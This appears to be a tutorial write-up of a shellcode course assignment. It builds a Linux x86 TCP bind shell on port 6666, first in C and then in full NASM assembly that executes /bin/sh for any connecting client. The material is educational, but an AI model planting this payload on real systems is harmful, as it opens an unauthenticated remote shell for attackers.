The first assignment is creating Linux x86 shellcode with a TCP port binding. It also has to exec a shell for an incoming connection and the port should be easily configurable.
We create a C file containing code for facilitating a TCP bind shell, which we’ll dissect and try to convert to ASM (Assembly). We’ll be reading several man pages and source header file which refer to argument values required for specific functions. Afterwards, we’ll try to optimize the file in an attempt to save bytes: the smaller, the better.
Created C code
First, we create a C file containing several functions and required parameters for creating a TCP bind shell.
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
// Defining variables
int client, sock;
int port = 6666;
// Defining struct
struct sockaddr_in sockaddr;
// Defining Ethernet TCP socket
// int socket(int domain, int type, int protocol);
sock = socket(AF_INET, SOCK_STREAM, 0);
// Setting variables for struct
sockaddr.sin_family = AF_INET; // 2
sockaddr.sin_port = htons(port); // 6666
sockaddr.sin_addr.s_addr = INADDR_ANY; // 0
// Bind the port
// int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
// Listen on socket
listen(sock, 0);
// Accept connections
client = accept(sock, NULL, NULL);
// Redirect stdin, stdout and stderr
// int dup2(int oldfd, int newfd);
dup2(client, 0); // AF_INET
dup2(client, 1); // TCP port 6666
dup2(client, 2); // INADDR_ANY
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve("/bin/sh", NULL, NULL);
// Return a value as being expected by main function
return 0;
}
Compile and run file
$ vim bind_tcp_c.c
$ ../compile_c.sh bind_tcp_c
[+] Compiling ...
[+] Done!
$ ./bind_tcp_c &
[1] 2113
$ nc localhost 6666
id
uid=1000(vbox) gid=1000(vbox) groups=1000(vbox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
Tracing file
Running “strace” on the compiled binary gives us an idea what calls are being made during execution. Don’t run this for code you don’t trust: use a static analyzer or a debugger.
The traced output might see to end prematurely: it’s not because it’s waiting for an TCP connection.
$ strace ./bind_tcp_c
execve("./bind_tcp_c", ["./bind_tcp_c"], [/* 21 vars */]) = 0
brk(0) = 0x99a2000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77aa000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ...}) = 0
mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7798000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1730024, ...}) = 0
mmap2(NULL, 1743580, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ee000
mprotect(0xb7791000, 4096, PROT_NONE) = 0
mmap2(0xb7792000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a3) = 0xb7792000
mmap2(0xb7795000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7795000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75ed000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb75ed900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7792000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb77cd000, 4096, PROT_READ) = 0
munmap(0xb7798000, 70799) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3,
Steps taken
According to the created C code for binding and listening, the following steps are taken:
– Declaring and defining variables
– Declaring and defining structures
– Creating a socket
– Setting variables for socket
– Bind the port
– Listen on address
– Accept connections
– Redirect input, output and errors
– Execute shell
– Return exit code for main
Used syscall functions
Breaking down the code in functions used by C for syscalls, the following functions are being used:
– socket 102 → 0x66
– bind 2 → 0x2
– listen 4 → 0x4
– accept 5 → 0x5
– dup2 63 → 0x3f
– execve 11 → 0x0b
According to the syscall definitions, the codes translate to the hex numbers being shown.
Creating a socket
Next stop is to check which calls are using what parameters and their expected values. The syscalls being referenced are placed in EAX, which uses parameters being placed in other registers such as EBX, ECX, EDX, etc.
The arguments for the socketcall are being displayed in the code above:
– domain –> AF_INET = 2
– type –> SOCK_STREAM = 1
– protocol –> IPPROTO_IP = 0
Call reference
Before creating a socket, several codes exist for calling functions for the socketcall syscall.
From “sys/socket.h”:
#define SYS_SOCKET 1 /* sys_socket(2) */
Domain
From “/usr/include/bits/socket.h”:
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
Type
From “bits/socket_type.h”:
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
Protocol
From “/usr/include/linux/in.h”:
IPPROTO_IP = 0, /* Dummy protocol for TCP */
#define IPPROTO_IP IPPROTO_IP
Assembly instructions
For illustration, we’ll be pushing variables on the stack very basically: later we’ll be using a more shellcode-friendly method.
We’ll be pushing the values in reverse order of the expected arguments due to little endianess.
; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)
; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX
Setting variables for socket
Setting the following variables from C code, building the constructor:
sockaddr.sin_family = AF_INET; // Address family TCP
sockaddr.sin_port = htons(port); // Port number as declared by ‘port’
sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
Setting the arguments:
– family –> AF_INET = 2
– port –> Variable port number
– s_addr –> INADDR_ANY, accept from any source address
Assembly instructions
; Struct sockaddr_in
push 0 ; INADDR_ANY
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp
Bind the port
Following code binds the constructor and port:
// int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
Call reference
From “linux/net.h”:
#define SYS_BIND 2 /* sys_bind(2) */
Setting the arguments:
– sockfd –> The created and stored socket as an integer, stored in EDX
– sockaddr *addr –> Pointer to the memory address of the sockaddr structure for arguments, stored in ECX
– addrlen –> The length of the socket
Sockfd
Stored in EDX during defining arguments for socket
*addr
Stored in ECX, address sockaddr pointer for arguments
Addrlen
Length of the sockaddr constructor variable, for indicating the length of the address
From “netinet/in.h”:
#define INET_ADDRSTRLEN 16
#define INET6_ADDRSTRLEN 46
Assembly instructions
mov eax, 102 ; socketcall
mov ebx, 2 ; socketcall type 2 (sys_bind)
; sys_bind arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
Listen on address
Following code attempts to listen for connections
// int listen(int sockfd, int backlog);
listen(sock, 0);
Call reference
From “linux/net.h”:
#define SYS_LISTEN 4 /* sys_listen(2) */
Setting the arguments:
– sockfd –> Stored in previous code in EDX, for FD socket
– backlog –> Backlog, size of connectionqueue
Assembly instructions
mov eax, 102 ; socketcall
mov ebx, 4 ; socketcall type 4 (sys_listen)
; sys_listen arguments
push 0 ; Queue size
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
Accept connections
The following code attempts to accept an incoming connection
// Accept connections
// int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
client = accept(sock, NULL, NULL);
Call reference
From “linux/net.h”:
#define SYS_ACCEPT 5 /* sys_accept(2) */
Setting the arguments:
– sockfd –> Stored in previous code in EDX, for FD socket
– sockaddr *addr –> Used for peer connections, not used.
Man page: “When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.”
– socklen_t *addrlen –> As indicated by the man page, not used thus set to NULL
Assembly instructions
mov eax, 102 ; socketcall
mov ebx, 5 ; socketcall type 5 (sys_accept)
; sys_accept arguments
push 0 ; NULL
push 0 ; NULL
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
mov edx, eax ; Store the FD socket being returned
Redirect input, output and errors
The following code redirects the STDIN, STDOUT and STDERR via dup2.
// Redirect input, output and errors
// int dup2(int oldfd, int newfd);
dup2(client, 0); // STDIN
dup2(client, 1); // STDOUT
dup2(client, 2); // STDERR
Call reference
From “asm/unistd_32.h”:
#define __NR_dup2 63
Setting the arguments:
STDIN:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDIN
STDOUT:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDOUT
STDERR:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDERR
Assembly instructions
; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall
; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall
; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments
Execute shell
Before executing the shell via execve, the “program” or “script” needs to be pushed on the stack and referred correctly as a pointer.
The following code calls execve to execute a shell “/bin/sh”
// Execute shell
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve(“/bin/sh”, NULL, NULL);
Call reference
From “asm/unistd_32.h”:
#define __NR_execve 11
Setting the arguments:
– *filename –> Executable or script, in this case it’s “/bin/sh”
– *argv[] –> Argument array to pass to the program, no arguments in this case
– *envp[] –> Array of strings to passed as environment of the new program, no env in this case
Generating the string
For passing the “program/script” to execve, it needs to be converted to hex and pushed on the stack.
For this, I’ve modified the original convert script for generating ASM instructions pushing characters on the stack:
The string needs to have an offset of 4 bytes each, or else the stack would have a wrong offset. Seeing “/bin/sh” is only 7 bytes and the number of slashes doesn’t affect functionality, “/bin//sh” is 8 bytes and correctly sized for putting on the stack in steps of 4 bytes.
python string_to_hex.py '/bin//sh'
String length : 8
Converted [{opcode} {0x hex} ; {reversed string}] format
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
Assembly instructions
mov eax, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL
int 0x80 ; Do some magic
Entire ASM file
; Linux x86 - Bind TCP shell
; Filename: bind_tcp_initial.asm
; Author: Hodorsec
global _start
section .text
_start:
; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)
; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX
; Setting variables for socket
; sockaddr.sin_family = AF_INET; // Address family TCP
; sockaddr.sin_port = htons(port); // Port number as declared by 'port'
; sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
; Struct sockaddr_in
push 0 ; INADDR_ANY
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp
; Bind the port
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
mov eax, 102 ; socketcall
mov ebx, 2 ; socketcall type 2 (sys_bind)
; sys_bind arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
; Listen on address
; int listen(int sockfd, int backlog);
; listen(sock, 0);
mov eax, 102 ; socketcall
mov ebx, 4 ; socketcall type 4 (sys_listen)
; sys_listen arguments
push 0 ; Queue size
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
; Accept connections
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; client = accept(sock, NULL, NULL);
mov eax, 102 ; socketcall
mov ebx, 5 ; socketcall type 5 (sys_accept)
; sys_accept arguments
push 0 ; NULL
push 0 ; NULL
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
mov edx, eax ; Store the FD socket being returned
; Redirect input, output and errors
; int dup2(int oldfd, int newfd);
; dup2(client, 0); // STDIN
; dup2(client, 1); // STDOUT
; dup2(client, 2); // STDERR
; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall
; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall
; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments
; Execute Shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
mov eax, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL
int 0x80 ; Do some magic